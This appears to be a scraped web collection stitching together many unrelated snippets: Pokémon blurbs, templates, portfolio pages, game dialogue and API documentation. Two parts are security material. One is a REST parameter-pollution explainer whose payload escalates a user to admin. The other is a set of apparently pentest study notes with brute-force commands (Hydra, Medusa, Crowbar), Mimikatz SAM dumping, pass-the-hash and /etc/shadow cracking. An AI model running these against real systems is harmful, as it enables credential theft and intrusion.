We all love Pokémons, don't we?
AboutAn Electric Type Pokémon who is loved by everyone and is Ash's Best Friend!
Contributed by - AM1CODESIt is a grass/poison type Pokémon. It's one of the Starter Pokemons!
Contributed by - AM1CODESIts's a Fire/Flying type Pokémon. It's the final evolution of Charmander.
Contributed by - AM1CODESIt's a Water type Pokémon. It's the final evolution of Squirtle.
Contributed by - AM1CODESMew is a Psychic-type Mythical Pokémon. It is not known to evolve into or from any other Pokémon.
Contributed by - AM1CODESLucario has the ability to sense the auras of all things. It understands human speech.
Contributed by- AL_Habibi_1107Infernape uses a special kind of martial arts involving all its limbs. Its fire never goes out.
Contributed by- AL_Habibi_1107


{% extends "layout.html" %} {% block page_title %} Example - Passing data {% endblock %} {% block content %} {% include "includes/breadcrumb_examples.html" %} Which ID's do you currently have? Which ID's do you have? Select all that apply Alaska State ID Social Security Card Birth Certificate Tribal ID Prisoner ID {% endblock %}
Select all that apply


Provides tools for joint analysis of multiple traits in a backcross (BC) or recombinant inbred lines (RIL) population. It can be used to select an optimal subset of traits for multiple-trait mapping, analyze multiple traits via the SURE model, which can associate different QTL with different traits, and perform multiple-trait composite multiple-interval mapping.
| Version: | 0.1-6 |
| Depends: | R (≥ 2.10) |
| Published: | 2017-07-25 |
| Author: | Riyan Cheng [aut, cre] |
| Maintainer: | Riyan Cheng <riyancheng at hotmail.com> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| NeedsCompilation: | yes |
| Materials: | ChangeLog |
| CRAN checks: | qtlmt results |
| Reference manual: | qtlmt.pdf |
| Package source: | qtlmt_0.1-6.tar.gz |
| Windows binaries: | r-devel: qtlmt_0.1-6.zip, r-release: qtlmt_0.1-6.zip, r-oldrel: qtlmt_0.1-6.zip |
| OS X binaries: | r-release: qtlmt_0.1-6.tgz, r-oldrel: qtlmt_0.1-6.tgz |
| Old sources: | qtlmt archive |
Please use the canonical form https://CRAN.R-project.org/package=qtlmt to link to this page.


The purpose of this project is to demonstrate:
The text below will change from “JavaScript has not run yet” to “JavaScript executed successfully.”
JavaScript has not run yet.


{% extends 'base.html' %} {% block head %}
There are multiple events on the date {{ date }}. Which one did you mean?


See the parent class of vulnerability in Attacks > Web > Parameter Poluttion
In an (Extended) HPPP (HTTP parameter/path pollution attack), a parameter is used to compose the resource URL to be used to prepare a REST request for a resource (or generate an embedded link). The problem is that the attacker may either alter the path or add/overwrite unexpected parameters in the “query string”. Additionally, REST frameworks may use a parameter (like _method) to allow the specification of a REST verb different from the incoming HTTP method, so a GET request could be interpreted as a PUT operation. An attacker may change the semantics of the REST resource URL!
For example, with the following code:
String entity = request.getParameter("entity");
String id = request.getParameter("id");
URL urlGet = new URL("http://myserver.com/rest/" + entity + "?id=" + id);
// perform a REST query using urlGet
An attacker may provide the following parameters:
entity=../admin/users/user/badGuy
id=x&_method=PUT&isAdmin=true
So the operation that the application executes is like this:
GET url http://myserver.com/rest/../admin/users/user/badGuy?id=x&_method=PUT&isAdmin=true
Which is probably interpreted by myserver.com REST endpoint as this:
PUT /admin/users/user/badGuy?id=x&isAdmin=true
Extended HPPP utilizes matrix and path parameters, JSON injection, and path segment characters to change the underlying semantics of a REST URL request- # can be used to remove ending URL characters similar to -- in SQLi and // in JavaScript injection
- ../ can be used to change the overall sematics of the REST request in path based APIs (vs query parameter based)
- ; can be used to add matrix parameters to the URL at different path segments
- the ?_method= query parameter can be used to change a GET request to a PUT, DELETE, and sometimes POST
- Special framework specific query parameters allow enhanced access to backend data through REST API. The 'qt' parameter in Apache Solr
- JSON Injection is also used to provide the necessary input to the applicatino receiver


Register for Facebook
First name:
Last Name:
Male
Female
Other
Email:
Password:
Birthday:
January
Febuary
March
April
May
June
July
August
September
October
November
December
1
2
3
4
5
10
11
12
20
21
22
30
2018
2005
2000
1995
1994
1993
1992
1991
1990
1989
1988
1987
I agree to the terms and conditions
Submit


Branch is a Ruby on Rails Content Management
System for local events & meet-ups. Previously
having coded it's predecessor in Sinatra,
I was excited to expand it's functionality with
Rails. It only felt right that this new iterration
sported visuals to match.
The enjoyment of working with the Advance Party
inspired me to draft a design for a mini-site with
the intent of aiding campaign efforts. A sort of
"digital pamphlet", the website would seek to close
the gap between party and student.
Built with mobile in mind, my aim was to make
this site as convenient to demo at Trade Shows
and Conventions as it is to view on desktop.
What began as a simple logo mock-up, inspired
me to design branding and build out a full concept
website and native mobile application.
I truly found my passion for graphic design during
my undergrad. No doubt my passion was fueled by the
near endless amount of design potential. Here are
some of my favorite works.
A recent graduate of the Florida State University, I had the distinct pleasure of working extensively in graphic design for multiple organizations during my undergrad. Ever eager to push the boundaries of my creative talents, I looked to web development as the next opportunity to explore design. Today, I look to bring my passion for design and web development together into seamless products that look as good as they work.


A Support System for Anxiety
Separation anxiety disorder describes an individual's feelings of persistent and excessive anxiety related to current or oncoming separation from an attachment figure (someone or something that provides the individual with comfort). Separation disorder frequently occurs in children, and can induce long-lasting, continuous anxiety for periods up to six weeks. Individuals afflicted by separation anxiety disorder experience overwhelming distress and anxiety when separated from their attachment figure.
Symptoms of separation anxiety disorder can manifest psychologically and physically. The most common psychological symptoms are:
Separation anxiety disorder can also manifest physical symptoms such as:
Physical symptoms are more often seen in teens and adults.
Separation anxiety disorder affects people of all ages, but is most commonly seen in children and teens under 18. A common sign to look for in children is a strong reluctance to go to school. Children who refuse to go to school may not want to go because they do not want to be separated from their attachment figure.
Feeling a bit of anxiety when separated from security objects and comfort zones is natural. It is around ages three to four when social anxiety can become a bigger problem. When separation anxiety becomes overwhelming and begins to interfere with daily activities, such as going to school or work, it could be possible that these natural worries have evolved into a clinical case of separation anxiety disorder.
Psychotherapy—Cognitive Behavioral Therapy in particular—is commonly used to treat separation anxiety disorder. Given that separation anxiety disorder is treatable and typically starts at a young age, talk with your child's pediatrician if any separation anxiety disorder symptoms exist. He/she can help diagnose your child and/or direct you to the appropriate physician who can help teach both the child and parents healthy separation techniques.
Consult your doctor if you believe you or your child have any of the symptoms related to this disorder and discuss the benefits and risks of any methods that could potentially be used to treat those symptoms.


The result is an error.
The function sayHi is declared inside the if, so it only lives inside it. There is no sayHi outside.
sayHi
if


Tailor your message based on venue, traffic, geography, and other geo-demographic data.
Schedule your campaign with confidence.
Communicate with your audience using images, audio, video and animations.
Make your message unique.
See exactly what your audience will see.
Your chance to confirm your message is ready.
At this point your ad or message will be reviewed, curated and approved by venue owners.
This is to ensure fit and relevancy.
Receive relevant analytics that can guide your campaign in the future.

Join our Beta program today to begin advertising differently.
Click below to sign up.


Guard Weisz:
Yes, I suppose you could be helpful.
Recently, lizardmen have been attacking the cargo wagons of the Aden Trade Guild. They slaughter the traders and guards and plunder the cargo. The guild has filed a formal request for assistance in dealing with the lizardmen. This task falls to you.
"Tell me more about this task."


All
Identity
Web Design
Graphic
Easy Note
by Cosmin Capitanu
The Gang Blue
by Cosmin Capitanu
Tiger
by Cosmin Capitanu
Flat Roman Typeface Ui
by Cosmin Capitanu
Seemple* Music for iPad
by Tiberiu Neamu
Remind~Me More
by Tiberiu Neamu
Workout Buddy
by Tiberiu Neamu
Volume Knob
by Paul Flavius Nechita
Ski * Buddy
by Tiberiu Neamu
Virtualization Icon
by Paul Flavius Nechita
World Clock Widget
by Paul Flavius Nechita
Sickpuppy
by Cosmin Capitanu


XContext Menu Type1
With "Slide" animation
Right Click Here
XContext Menu Type2
With "Fold" animation
Right Click Here
XContext Menu Type3
With "Zoom" animation
Left Click Here
XContext Menu Type4
With "Bounce" animation
Right Click Here


You're looking at a REPL for Conspiracy, a Scheme-like lisp on Javascript.
Examples:
(map (lambda (x) (* x 3)) '(1 2 3 4 5))


--- layout: page title: About header-img: "img/about-bg.png" ---
I am a mother, administrator, musician, and lifetime learner looking forward to completing my certificate in Software Engineering!


SauqNote is a simple notepad developed to write notes effortlessly and with many features such as Voice Recognition, Text Speech Convertor, Copy Text etc


---
layout: post
title: 'Episode 1: Jason Sisk'
categories: []
tags:
- hallway-podcast
status: publish
type: post
published: true
meta: {}
---
Groupon's Jason Sisk and I talk about managing people, mixing management and development, making the shift back into pure development and using the power of code to help the world.
Links and such
Jason on Twitter: dork. music lover. family man. software guy. Gloupon. Hoosier expatriate.
SiskLab: Jason's infrequently-updated home on the web.
Mobi Wireless Management: The managed service vendor dedicated to helping power wireless strategies.
Bluefish Wireless Management: A Mobility Management provider specializing in carrier and enterprise partnerships.
Sisyphus: In Greek mythology Sisyphus was a king of Ephyra (now known as Corinth) punished for chronic deceitfulness by being compelled to roll an immense boulder up a hill, only to watch it roll back down, and to repeat this action forever.
Jobs at Groupon: Groupon's public-facing recruiting/job listings.
Operation Walk: Mooresville: Operation Walk is a not-for-profit volunteer medical services organization that provides free surgical treatments for patients in developing countries and in the United States.
"I can apply my professional skill to something that has a direct impact on someone's life. And that's awesome."


Master Ixia:
Magister Kaira tells me that you are in the midst of a trial to advance to a higher rank... Does the Belladonna that I made for you the other day have anything to do with that? Anyway, I wish you good luck.


TweetPinna - {{ instance_name }}
Home
(current)
Logfile
(current)
Hashtags
(current)
Timelines
(current)
Media Files
(current)
Statistics
(current)
{% block body %}{% endblock %}
TweetPinna - {{ instance_ver }}


Quark v1.0.2 Quark.Compose
Function composition is taking two functions, and joining them together to create a new function. For example:
iex> sum_plus_one = compose([&(&1 + 1), &Enum.sum/1])
iex> sum_plus_one.([1,2,3])
7
In this case, we have joined Enum.sum
with a function that adds one, to create
a new function that takes a list, sums it, and adds one.
Note that composition normally applies from right to left, though Quark
provides the opposite in the form of *_forward
functions.
Summary
Functions
Infix compositon operator
Function composition, from the tail of the list to the head
Function composition
Function composition, from the back of the lift to the front
Compose functions, from the head of the list of functions. The is the reverse order versus what one would normally expect (left to right rather than right to left)
Functions
Specs
(... -> any) <|> (... -> any) :: (... -> any)
Infix compositon operator
iex> sum_plus_one = fn x -> x + 1 end <|> &Enum.sum/1
iex> sum_plus_one.([1,2,3])
7
iex> add_one = &(&1 + 1)
iex> piped = [1,2,3] |> Enum.sum |> add_one.()
iex> composed = [1,2,3] |> ((add_one <|> &Enum.sum/1)).()
iex> piped == composed
true
Specs
compose([(... -> any)]) :: (... -> any)
Function composition, from the tail of the list to the head
iex> sum_plus_one = compose([&(&1 + 1), &Enum.sum/1])
iex> [1,2,3] |> sum_plus_one.()
7
Specs
compose((... -> any), (... -> any)) :: any
Function composition
iex> sum_plus_one = compose(&(&1 + 1), &Enum.sum/1)
iex> [1,2,3] |> sum_plus_one.()
7
Function composition, from the back of the lift to the front
iex> sum_plus_one = compose_forward(&(Enum.sum(&1)), &(&1 + 1))
iex> [1,2,3] |> sum_plus_one.()
7
Compose functions, from the head of the list of functions. The is the reverse order versus what one would normally expect (left to right rather than right to left).
iex> sum_plus_one = compose_list_forward([&Enum.sum/1, &(&1 + 1)])
iex> [1,2,3] |> sum_plus_one.()
7


We build professional website templates, web design projects, material designs and UI kits.
Some of our awesome completed projects in below.
Our Service unlimited solutions to all your business needs. in the installation package we prepare search engine optimization, social media support, we provide corporate identity and graphic design services.
We thanks for all our awesome testimonials! There are hundreds of our happy customers!
Let's see what others say about Linkweb website template!
They have got my project on time with the competition with a sed highly skilled, and experienced & professional team.
Explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you completed.
The master-builder of human happines no one rejects, dislikes avoids pleasure itself, because it is very pursue pleasure.
They have got my project on time with the competition with a sed highly skilled, and experienced & professional team.
Explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you completed.
The master-builder of human happines no one rejects, dislikes avoids pleasure itself, because it is very pursue pleasure.


We are fully licensed and insured. Call today for a free estimate!
Approximately 11 million tons of shingles are land-filled each year. CityWide Roofing recycles shingles from roof tear-offs.
We offer around the clock emergency service for unexpected emergencies. 24 hours a day, 7 days a week.
Check out our latest photos from various projects. We update this regularly so come often.
In simple terms, a responsive web design figures out what resolution of device it's being served on. Flexible grids then size correctly to fit the screen.
The new Bootstrap 3 promises to be a smaller build. The separate Bootstrap base and responsive.css files have now been merged into one. There is no more fixed grid, only fluid.
A big design trend for 2013 is "flat" design. Gone are the days of excessive gradients and shadows. Designers are producing cleaner flat designs, and Bootstrap 3 takes advantage of this minimalist trend.


SIS API: Users
Documentation
The overview documentation for the Users API is available here.
API Credentials
You will need credentials to work with the APIs.
- Credentials: The Username, and Password identifies the specific LearningStudio campus your API requests are directed to.
You can get credentials for our Sandbox Campus by creating an app on the PDN. Learn more here.
Contents
Introduction
The Users library facilitates working with our Users SIS API for LearningStudio. This API is used to create new users, update existing users, and enroll users into course sections in LearningStudio.
This library provides a C#-specific method for the synchronous ProcessSingleRequest Users API SOAP operation. The complete documentation for the method is linked in the Methods section, below. Note that at this the asynchronous ProcessRequest operation is not supported by the Users library.
Lastly, the Users API requires the use of a WS-Security UsernameToken for authentication purposes. WS-Security SOAP message headers are onerous, and commonly cause interoperability issues between API clients and services so this library handles the SOAP message heavy lifting for you.
Using Users
App.Config
Note that the underlying Users app.config file will not be inherently leveraged by your application. You'll want to copy the log4net and system.serviceModel sections from the Users app.config file into the App.Config file of your application. At runtime the application config settings are loaded from the primary application and not the underlying class library, or in this case the Users library.
log4net Config
The log4net configuration section controls the behavior of the logging from the Users library. This section can be modified as needed by your application and the values in the Users app.config file should simply be considered default values.
<configSections> <section name="log4net" type="log4net.Config.Log4NetConfigurationSectionHandler,Log4net"/> </configSections> <log4net> <appender name="LogFileAppender" type="log4net.Appender.RollingFileAppender" > <param name="File" value="log-file.txt" /> <param name="AppendToFile" value="true" /> <rollingStyle value="Size" /> <maxSizeRollBackups value="10" /> <maximumFileSize value="10MB" /> <staticLogFileName value="true" /> <layout type="log4net.Layout.PatternLayout"> <param name="ConversionPattern" value="%date [%thread] %-5level %logger [%property{NDC}] - %message%newline" /> </layout> </appender> <root> <level value="DEBUG" /> <appender-ref ref="LogFileAppender" /> </root> </log4net>
system.serviceModel Config
The system.serviceModel configuration section controls the underlying SOAP binding and message configuration settings needed for the Users API. You'll want to leave this section alone and copy it "as-is" into your application's App.Config file.
<system.serviceModel> <bindings> <basicHttpsBinding> <binding name="UserManagement"> <security mode="Transport" /> </binding> </basicHttpsBinding> </bindings> <client> <endpoint address="https://campusapi.ecollege.com/UserManagement/v1_6/UserManagementServices.asmx" binding="basicHttpsBinding" bindingConfiguration="UserManagement" contract="API.UserManagementSoap" name="UserManagement" /> </client> </system.serviceModel>
Instantiating the Library
Setup
To begin, include the classes you'll be instantiating.
using Com.Pearson.Pdn.Learningstudio.SIS.Users;
using Com.Pearson.Pdn.Learningstudio.SIS.Users.Request;
Authentication
You'll need to provide the authentication details for the Campus you are using (the Campus's username and password) so the TermService class can handle authentication. The APIConfig
class is a generic carrier for the configuration information for authentication. You'll add the information you need using the following methods.
APIConfig config = new APIConfig();
config.Username = apiUsername;
config.Password = apiPassword;
Requests
Next, you'll instantiate the UserService
class, which handles all the work of making an API call and provides a C#-specific method for the Users API. When creating the object, pass the APIConfig as the only parameter:
UserService userService = new UserService(config);
Finally, use the method detailed below to make requests.
Results
The Users method will return a Response
object. This object has the following properties:
| Property | Description |
|---|---|
string ContentType |
The type of response, either XML or Text . |
string Content |
The text-based body of the response from the API. It is returned as a string of either XML or Text , and is not parsed into a native object. |
| About the API Request | |
int PersonStatusCode |
The Status Code for the User part of the API request, i.e. the user creation or update. Example:0 for success or a negative number like, -2147219966 , to indicate a failure. |
string PersonStatusMessage |
The Status Message for the User part of the API request. Example: "User created" |
int MembershipStatusCode |
The Status Code for the Enrollment part of the API request. Example: 0 for success or a negative number like, -2147219966 , to indicate a failure. |
string MembershipStatusMessage |
The Status Message for the Enrollment part of the API request. Example: "Course enrollment successful" |
Example
using Com.Pearson.Pdn.Learningstudio.SIS.Users;
using Com.Pearson.Pdn.Learningstudio.SIS.Users.Request;
using System;
using System.Collections.Generic;
using System.Text;
namespace SISAPIUsersExample
{
class Program
{
static void Main(string[] args)
{
// The API Credentials
string apiUsername = "";
string apiPassword = "";
// Best practice is to use the Campus Client String as the Source value
string source = "";
// External User identifier; typically from the SIS System
string id = "";
// User's username in LearningStudio; should match your IdM value if using SSO
string loginId = "";
// User's password in LearningStudio; can be omitted depending on Campus API settings
string password = "";
// User's First Name
string firstName = "";
// User's Last Name
string lastName = "";
// User's primary Email Address
string email = "";
// Identifier for the Course Section the user will be enrolled into
string callNumber = "";
// Identifier for the Role the user should be enrolled in the Course Section with
string roleId = "";
// Initialize and set the API Credentials
APIConfig config = new APIConfig();
config.Username = apiUsername;
config.Password = apiPassword;
// Initialize and set the CreateStandardTermRequest
ProcessSingleRequest request = new ProcessSingleRequest();
request.Source = source;
request.Id = id;
request.LoginId = loginId;
request.Password = password;
request.FirstName = firstName;
request.LastName = lastName;
request.Email = email;
request.CallNumber = callNumber;
request.RoleId = roleId;
// Initialize the UserService class
UserService userService = new UserService(config);
Response response = null;
try
{
// Send the Request and capture the Response from the Term API
response = userService.ProcessSingleRequest(request);
}
catch (Exception ex)
{
Console.WriteLine("Exception from ProcessSingleRequest: {0}", ex);
Console.ReadLine();
}
Console.WriteLine("User Results = {0}: {1}" + Environment.NewLine, response.PersonStatusCode, response.PersonStatusMessage);
Console.WriteLine("Enrollment Results = {0}: {1}" + Environment.NewLine, response.MembershipStatusCode, response.MembershipStatusMessage);
Console.WriteLine("ContentType: {0}" + Environment.NewLine, response.ContentType);
Console.WriteLine("Content: {0}", response.Content);
Console.ReadLine();
}
}
}
Available Methods
User Structure
A user is someone who has access to LearningStudio, typically by being enrolled into 1+ course sections at a given academic time period. Each Campus can have it's own defined set of user roles and abilities, but all are derived from a few basic types. The following are a couple of basic role types and typical permissions for users within a course section:
- Student: Cannot modify course materials or grades. Some content is restricted from students based on time, grades, group assignment, or teacher-only material.
- Professor: Can view all content items and usually modify course materials, assign grades, etc.
Roles are specified in User API requests via the RoleId
property which is a numeric enumerable value. For a Student the default RoleId
value is "2", and for a Professor the default value is "1". However, for a given Campus the specific values implemented can vary. Reach out to your Pearson representative for a list of the Student and Professor RoleId values for a given LearningStudio Campus.
ProcessSingleRequest(ProcessSingleRequest request)
- Combines both user creation and user enrollment.
- With this method you can:
- Create a user
- Update user details
- Enroll a user in a course section
- Drop a user from a course section
- API Documentation
- Auto-generated Documentation


When you work with us, you are part of a team of commited collaborators. All aspects ofour software development process are intergrated, interactive and agile.Our approach unifies design, development and product management to create exceptional products.We start each project by understanding your business goals, the users needs and the product requirements Then we help translatethem into effective and elegant solutions.
Before we sign a contractor write a line of our code our team will spend the neccessary time needed
to
understand your product vision
The outcome of this scoping session is proposal or high-level statement of work.
based on your requirements, we can provide accomplete offering or just the pieces you need.
Our design offers a full range of services including brand strategy, interaction and visual
design
and user experience testing.
Throughout your project, our designers create and implement visual designand workflows, solicit
user
feedback and work with you to make sure what gets built is what is needed.
All engineers are fluent in the latest enterprise, mobile
and web development technologies.
They collaborate with your teamto write, and improve code on a daily basis, using proven
practices
such as test-driven developmentand pair programming
Planning and development is interactive. Because we are constantly coding and testing, the
products
we build are always ready to go live.
This interactive process allows for changes as business requirements.
DELANI BLACK
ONTARIO
PYRAMID
JIM CARRY
GOOD MORNING APP
CALCULATOR
BURNER
RESTAURANT


Email or Username
Keep me logged in
Password
Forgot Account?
Hi, Mindgrub. This is a facebook mock up I made.
Create an account
It's free and always will be.
Male
Female
By clicking Create account, you agree to our Terms.
Create a page for you.


There are more than 66,000 properties on the National Register of Historic Places
Find out if there are any near you...
Data provided by the U.S. National Park Service


Standard wordlists:
Custom wordlists:- cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt
Password profiling and password enforcement policies with John the Ripper:- nano /etc/john/john.conf
- john --wordlist=megacorp-cewl.tx --rules --stdout > mutated.txt
Bruteforce password attacks:- Bruteforce attacks can be very time consuming, very loud and not realistically viable, but they may make sense in case we know that the password for a certain user or organization follows a very specific pattern and enforcement policies. In this case we can generate our own ad-hoc bruteforce wordlist with crunch
- crunch wordlist generator: crunch 8 8 -t ,@@^^%%%
Common Network Service Attack Methods:- HTTP htaccess attack with Medusa:
- sudo gunzip /usr/share/wordlists/rockyou.txt.gz
- medusa -h <IP_ADDRESS> -u admin -P /usr/share/wordlists/rokyou.txt -M htttp -m DIR:/admin
- Remote desktop protocol attack with Crowbar, a network authentication cracking tool:
- Crowbar is one of the few tools to perform password attacks against the RDP service on modern versions of Windows
- sudo apt-get install crowar
- crowbar -b rdp -s <IP_ADDRESS>/32 -u admin -C password-file.txt -n 1
- SSH attack with THC-Hydra:
- It can be used best to attach SSH and HTTP
- hydra -l kali -P password-file.txt ssh://<IP_ADDRESS>
- HTTP POST attack with THC-Hydra:
- hydra <IP_ADDRESS> http-form-post "/form/frontpage.php:user=admin&pass=^PASS^ : INVALID LOGIN" -l admin -P /usr/share/wordlists/rockyou,txt -vV -f
Leveraging password hashes:- Hash type identification: hashid blablabla
- Users" hashes:
- Linus: /etc/shadow
- Windows: SAM (Security Accounts Manager)
- LM hashes: not salted, weak and breakable with hash lookup attach
- NTLM hash: more secure, but still not salted
- The SAM database cannot be copied while the operating system is running. However, we can use Mimikatz against the lsass service:
- c:\tools\password_attacks\mimikatz.exe
- [mimikatz] privilege::debug
- [mimikatz] token::elevate
- [mimikatz] lsadump::sam
Passing the hash in Windows:- Passing the hashes in Windows (i.e. authenticating on multiple systems/services with username/hash instead of username/password) is possible because LM and NTLM hashes are not salted and hashes remain static over time
- passing-the-hash toolkit performs authentication via the SMB protocol:
- pth-winexe -U username%blablablahash //<IP_ADDRESS> cmd
- NTLM hashes are passed over the network in the form of Net-NTLM hashes
Windows password cracking:- If hashes are NOT salted, cracking is possible
- If hashes are salted, cracking is very very difficult, if not impossible
- In many real world scenarios, it is possible to capture both salt values and hashes to pass to the cracking sotfware (i.e. John the Ripper)
- John the Ripper:
- Pure brute force of every possible password: john hash.txt --format=NT
- Using a wordlist: john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=NT
- Using word mangling rules from /etc/john/john.conf: john --rules --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=NT
Linux password cracking:- sudo grep victim /etc/passwd > passwd-file.txt
- sudo grep victim /etc/shadow > shadow-file.txt
- unshadow passwd-file.txt shadow-file.txt > unshadowed-file.txt
- john --rules --wordlist=usr/share/wordlists/rockyou.txt unshadowed-file.txt


An operation may, optionally, allow additional options to be sent via URL query parameters. This section allows you to document what query parameters are accepted/expected by this operation.
Use this section to define HTTP Query Parameters for all of the Operations in this path. These query parameters will apply to all operations and can be overridden (though not removed) at the operation level.


Test
Software Developer
About Me
Hello there
I'm currently learning how to code
testing paragraph
I can speak English
I can speak Chinese
I can use html
Contact Me
You can contact me through
Facebook


Thesis: IncogInput
My thesis project brought together both my partners' and my interest of organizational design and business management and practices as an application of critical design. We started with heavy research into scholarly literature and found that we gravitated towards the topics of collaboration and the affects of hierarchy in organiations. Different types of businesses and organizations will each work with tailored hieracrchies, whether they are leaning more vertically or horizontally. We proposed that we could conceptualize an application that would track how hierarchical rank would affect how people in an organization talked to each other.
From this, we created incoginput, an application made for collaboration. It functions similarly to an anonymous message board, with each project serving as the topic for discussion. The idea would be that each user could express their feedback and ideas without feeling stress from higher management, and employees of all ranks could ask clarification questions without fear of judgement. This would also combat personal biases between workers. As a user, you would only be able to see your own profile with designated "rank" in a company--everyone else is unknown to you.
The application system itself would also track who commented on who, and, using Circos, would output circular diagrams to show the connections between employees. You can see if upper management makes the most number of comments, or if the middle level of the company is not providing enough feedback, all while being anonymous. Seeing the connections and feedback roads provides data that would allow the company to assess their communications and tailor the fit to what is best for them.
« Back


About Gourd Light Artistry
Jane Mawson is a third generation artist living in Chestnut Hill, Pa., and is a graduate of Washington College in Chestertown Maryland. Jane takes inspiration from the Bauhaus tradition of unifying art and craft, design and function, in her work creating gourd lamps. Jane has shown her work in several galleries in the Philadelphia area, including the Abington Art Center and Accent Gallery in Ocean City, New Jersey. Jane will be one of the artists featured in the book ‘Creating Gourd Lights’ by artist Susan Nonn, to be published in early 2017.
I am excited to launch the Gourd Light Artistry website. I have become very attached to doing this art over the past few years and intend to continue for many years. I hope you enjoy it, and I welcome your responses to the lamps nature and I make.
Please feel free to contact me with questions and comments on social media. Thanks for shopping at Goard Light Artistry!
What is a Gourd?
A gourd is the hollow, dried shell of a vine fruit in the Cucurbitaceae plant family, related to
cucumbers and pumpkins. They have been found in
archaeological sites dating from as early as 13,000 BCE, and were domesticated in South
America, Asia, and Africa.
If you’re interested in what I do you should view the work of Calabarte,
perhaps the most well known and well regarded artist creating gourd lamps today from his home in Poland. His
creations are incomparable and started me on this path.
I create my lamps from dried gourds from the United States and Mali.
Process of Creation
I consider myself more artisan than artist in that the work I do introduces old world manual skills, such as wood working and pyrography (the process of burning designs onto a surface) to create contemporary objects that blur the line between craft and art.
I think of my lamps as sculptures that become transformed through illumination at night, which in turn transform the spaces they are in, adding beauty and a ‘softening’ experience to the viewer. The inner membrane of the gourd is exposed through carving which acts as a screen for the light from inside. Depending on the depth of the carved surface, reds, oranges, and yellows are produced and the addition of hundreds of holes on the surface allows the light to pass out of the gourd directly and form patterns on walls and other surfaces which are close to the lamp when it is lit.


Class: Aws::EC2::Types::SpotInstanceRequest
| Relationships & Source Files | |
| Super Chains via Extension / Inclusion / Inheritance | |
|
Class Chain:
self,
Struct
|
|
|
Instance Chain:
self,
Struct
|
|
| Inherits: |
Struct
|
| Defined in: | (unknown) |
Overview
Describes a Spot instance request.
Instance Attribute Summary
-
#actual_block_hourly_price ⇒ String
rw
If you specified a duration and your Spot instance request was fulfilled, this is the fixed hourly price in effect for the Spot instance while it runs.
. -
#availability_zone_group ⇒ String
rw
The Availability Zone group.
-
#block_duration_minutes ⇒ Integer
rw
The duration for the Spot instance, in minutes.
. -
#create_time ⇒ Time
rw
The date and time when the Spot instance request was created, in UTC format (for example, YYYY-MM-DDTHH:MM:SSZ).
. -
#fault ⇒ Types::SpotInstanceStateFault
rw
The fault codes for the Spot instance request, if any.
. -
#instance_id ⇒ String
rw
The instance ID, if an instance has been launched to fulfill the Spot instance request.
. -
#launch_group ⇒ String
rw
The instance launch group.
-
#launch_specification ⇒ Types::LaunchSpecification
rw
Additional information for launching instances.
. -
#launched_availability_zone ⇒ String
rw
The Availability Zone in which the bid is launched.
. -
#product_description ⇒ String
rw
The product description associated with the Spot instance.
. -
#spot_instance_request_id ⇒ String
rw
The ID of the Spot instance request.
. -
#spot_price ⇒ String
rw
The maximum hourly price (bid) for the Spot instance launched to fulfill the request.
. -
#state ⇒ String
rw
The state of the Spot instance request.
-
#status ⇒ Types::SpotInstanceStatus
rw
The status code and status message describing the Spot instance request.
. -
#tags ⇒ Array<Types::Tag>
rw
Any tags assigned to the resource.
. -
#type ⇒ String
rw
The Spot instance request type.
. -
#valid_from ⇒ Time
rw
The start date of the request, in UTC format (for example, YYYY-MM-DDTHH:MM:SSZ).
-
#valid_until ⇒ Time
rw
The end date of the request, in UTC format (for example, YYYY-MM-DDTHH:MM:SSZ).
Instance Attribute Details
#actual_block_hourly_price ⇒ String
(rw)
If you specified a duration and your Spot instance request was fulfilled, this is the fixed hourly price in effect for the Spot instance while it runs.
#availability_zone_group ⇒ String
(rw)
The Availability Zone group. If you specify the same Availability Zone group for all Spot instance requests, all Spot instances are launched in the same Availability Zone.
#block_duration_minutes ⇒ Integer
(rw)
The duration for the Spot instance, in minutes.
#create_time ⇒ Time
(rw)
The date and time when the Spot instance request was created, in UTC format (for example, YYYY-MM-DDTHH:MM:SSZ).
#fault ⇒ Types::SpotInstanceStateFault (rw)
The fault codes for the Spot instance request, if any.
#instance_id ⇒ String
(rw)
The instance ID, if an instance has been launched to fulfill the Spot instance request.
#launch_group ⇒ String
(rw)
The instance launch group. Launch groups are Spot instances that launch together and terminate together.
#launch_specification ⇒ Types::LaunchSpecification (rw)
Additional information for launching instances.
#launched_availability_zone ⇒ String
(rw)
The Availability Zone in which the bid is launched.
#product_description ⇒ String
(rw)
The product description associated with the Spot instance.
Possible values:
- Linux/UNIX
- Linux/UNIX (Amazon VPC)
- Windows
- Windows (Amazon VPC)
#spot_instance_request_id ⇒ String
(rw)
The ID of the Spot instance request.
#spot_price ⇒ String
(rw)
The maximum hourly price (bid) for the Spot instance launched to fulfill the request.
#state ⇒ String
(rw)
The state of the Spot instance request. Spot bid status information can help you track your Spot instance requests. For more information, see Spot Bid Status in the Amazon Elastic Compute Cloud User Guide.
Possible values:
- open
- active
- closed
- cancelled
- failed
#status ⇒ Types::SpotInstanceStatus (rw)
The status code and status message describing the Spot instance request.
#tags ⇒ Array
<Types::Tag> (rw)
Any tags assigned to the resource.
#type ⇒ String
(rw)
The Spot instance request type.
Possible values:
- one-time
- persistent
#valid_from ⇒ Time
(rw)
The start date of the request, in UTC format (for example, YYYY-MM-DDTHH:MM:SSZ). The request becomes active at this date and time.
#valid_until ⇒ Time
(rw)
The end date of the request, in UTC format (for example, YYYY-MM-DDTHH:MM:SSZ). If this is a one-time request, it remains active until all instances launch, the request is canceled, or this date is reached. If the request is persistent, it remains active until it is canceled or this date is reached.


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object org.lwjgl.opengl.Pbuffer
public final class Pbuffer
Pbuffer encapsulates an OpenGL pbuffer. This class is thread-safe.
| Field Summary | |
|---|---|
static int |
BACK_LEFT_BUFFER
The Pbuffer back left buffer. |
static int |
BACK_RIGHT_BUFFER
The Pbuffer back right buffer. |
protected org.lwjgl.opengl.ContextGL |
context
The OpenGL Context. |
static int |
CUBE_MAP_FACE
The render-to-texture cube map face attribute. |
static int |
DEPTH_BUFFER
The Pbuffer depth buffer. |
static int |
FRONT_LEFT_BUFFER
The Pbuffer front left buffer. |
